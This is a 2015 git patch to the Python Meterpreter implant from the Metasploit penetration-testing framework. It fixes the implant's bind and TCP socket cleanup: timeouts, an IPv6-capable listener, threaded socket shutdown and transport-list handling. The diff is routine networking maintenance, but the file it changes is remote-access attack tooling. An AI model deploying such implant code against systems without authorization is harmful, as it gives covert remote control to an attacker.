From b55f1247a9817f20bad5b7e8dcfdd030d0043ca4 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Tue, 30 Jun 2015 15:25:23 -0400
Subject: [PATCH] Pymet fix bind and tcp socket cleanup logic

---
 python/meterpreter/meterpreter.py | 42 +++++++++++++++++++++++--------
 1 file changed, 32 insertions(+), 10 deletions(-)

diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py
index a60b6150..b9ac4eba 100644
--- a/python/meterpreter/meterpreter.py
+++ b/python/meterpreter/meterpreter.py
@@ -488,7 +488,7 @@ class HttpTransport(Transport):
 	def _get_packet(self):
 		packet = None
 		request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers)
-		url_h = urllib.urlopen(request)
+		url_h = urllib.urlopen(request, timeout=self.communication_timeout)
 		packet = url_h.read()
 		if packet:
 			if packet[8:] == STAGE_START_MARKER:
@@ -500,7 +500,7 @@ class HttpTransport(Transport):
 
 	def _send_packet(self, packet):
 		request = urllib.Request(self.url, packet, self._http_request_headers)
-		url_h = urllib.urlopen(request)
+		url_h = urllib.urlopen(request, timeout=self.communication_timeout)
 		response = url_h.read()
 
 	def tlv_pack_transport_group(self):
@@ -516,6 +516,17 @@ class TcpTransport(Transport):
 		super(TcpTransport, self).__init__()
 		self.url = url
 		self.socket = socket
+		self._cleanup_thread = None
+
+	def _sock_cleanup(self, sock):
+		remaining_time = self.communication_timeout
+		while remaining_time > 0:
+			iter_start_time = time.time()
+			if select.select([sock], [], [], remaining_time)[0]:
+				if len(sock.recv(4096)) == 0:
+					break
+			remaining_time -= time.time() - iter_start_time
+		sock.close()
 
 	def activate(self):
 		if self.socket:
@@ -527,12 +538,20 @@ class TcpTransport(Transport):
 			family = socket.AF_INET6
 			address, port = self.url[7:].split(':', 1)
 		port = int(port.rstrip('/'))
-		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-		if address == '0.0.0.0' or address == '::':
-			sock.bind((address, port))
-			sock.listen(1)
-			sock, _ = sock.accept()
+		if address in ('', '0.0.0.0', '::'):
+			try:
+				server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
+				server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
+			except (AttributeError, socket.error):
+				server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+			server_sock.bind(('', port))
+			server_sock.listen(1)
+			if not select.select([server_sock], [], [], self.communication_timeout)[0]:
+				raise RuntimeError('connection timed out')
+			sock, _ = server_sock.accept()
+			server_sock.close()
 		else:
+			sock = socket.socket(family, socket.SOCK_STREAM)
 			sock.connect((address, port))
 		self.socket = sock
 		return
@@ -540,8 +559,8 @@ class TcpTransport(Transport):
 	def deactivate(self):
 		if not self.socket:
 			return
-		self.socket.shutdown(socket.SHUT_RDWR)
-		self.socket.close()
+		cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,))
+		cleanup.run()
 		self.socket = None
 
 	def _get_packet(self):
@@ -638,9 +657,11 @@ class PythonMeterpreter(object):
 	def session_has_expired(self):
 		return time.time() > self.session_expiry_end
 
-	def transport_change(self, new_transport):
+	def transport_change(self, new_transport=None):
 		if new_transport == self.transport:
 			return
+		if new_transport is None:
+			new_transport = self.transport_next()
 		self.transport.deactivate()
 		new_transport.activate()
 		self.transport = new_transport
@@ -800,6 +821,7 @@ class PythonMeterpreter(object):
 
 	def _core_transport_change(self, request, response):
 		new_transport = Transport.from_request(request)
+		self.transports.append(new_transport)
 		self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
 		self.transport_change(new_transport)
 		return None